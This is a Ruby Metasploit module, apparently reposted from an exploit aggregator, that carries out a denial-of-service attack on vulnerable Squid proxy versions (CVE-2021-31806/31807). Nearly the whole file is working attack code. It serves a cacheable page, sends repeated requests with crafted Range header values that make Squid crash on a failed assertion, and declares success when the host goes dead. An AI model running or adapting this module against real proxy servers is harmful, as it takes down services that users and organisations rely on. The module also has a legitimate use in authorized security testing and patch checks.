Share
## https://sploitus.com/exploit?id=PACKETSTORM:180526
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Squid Proxy Range Header DoS',  
'Description' => %q{  
The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and  
5.0.1-5.0.5 suffers from multiple vulnerabilities triggered  
by specific HTTP requests and responses.  
  
These vulnerabilities allow remote attackers to cause a  
denial of service through specifically crafted requests.  
},  
'Author' => [  
'Joshua Rogers' # Discoverer, and Metasploit Module  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]  
],  
'DefaultAction' => 'DOS',  
'References' => [  
[ 'CVE', '2021-31806'],  
[ 'CVE', '2021-31807'],  
[ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']  
],  
'DisclosureDate' => '2021-05-27',  
'Notes' => {  
'Stability' => [ CRASH_SERVICE_DOWN ],  
'Reliability' => [ ],  
'SideEffects' => [ IOC_IN_LOGS ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(3128),  
OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),  
OptEnum.new('CVE', [  
true, 'CVE to check/exploit', 'CVE-2021-31806',  
['CVE-2021-31806', 'CVE-2021-31807']  
]),  
]  
)  
end  
  
def on_request_uri(cli, _request)  
# The Last-Modified response header must be set such that Squid caches the page.  
send_response(cli, '<html></html>', { 'Last-Modified' => 'Mon, 01 Jan 2020 00:00:00 GMT' })  
end  
  
def run  
count = 0  
error_count = 0 # The amount of connection errors from the server.  
reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.  
  
print_status("Sending #{reqs} DoS requests to #{peer}")  
  
start_service  
  
while reqs > count  
begin  
res = req(datastore['CVE'])  
rescue Errno::ECONNRESET  
res = nil  
end  
  
if res && (res.code == 200) && (count == 0)  
count = 1  
print_status("Sent first request to #{rhost}:#{rport}")  
elsif res  
print_status("Sent DoS request #{count} to #{rhost}:#{rport}")  
count += 1  
error_count = 0  
  
next # Host could be completely dead, or just waiting for another Squid child.  
elsif count == 0  
print_error('Cannot connect to host.')  
return  
end  
  
error_count += 1  
next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.  
  
print_good('DoS completely successful.')  
report_vuln(  
host: rhost,  
port: rport,  
name: name,  
refs: references  
)  
return  
end  
print_error('Looks like the host is not vulnerable.')  
end  
  
def req(cve)  
case cve  
when 'CVE-2021-31806'  
sploit = cve_2021_31806  
when 'CVE-2021-31807'  
sploit = cve_2021_31807  
end  
  
send_request_raw({  
'uri' => get_uri,  
'headers' => {  
'Host' => "#{srvhost_addr}:#{srvport}",  
'Range' => sploit,  
'Cache-Control' => 'public'  
}  
})  
end  
  
def cve_2021_31806  
# This will cause Squid to assert with "http->out.offset <= start"  
%(bytes=0-0,-0,-1)  
end  
  
def cve_2021_31807  
# This will cause Squid to assert with "!http->range_iter.debt() == !http->range_iter.currentSpec()"  
%(bytes=0-0,-4,-0)  
end  
  
end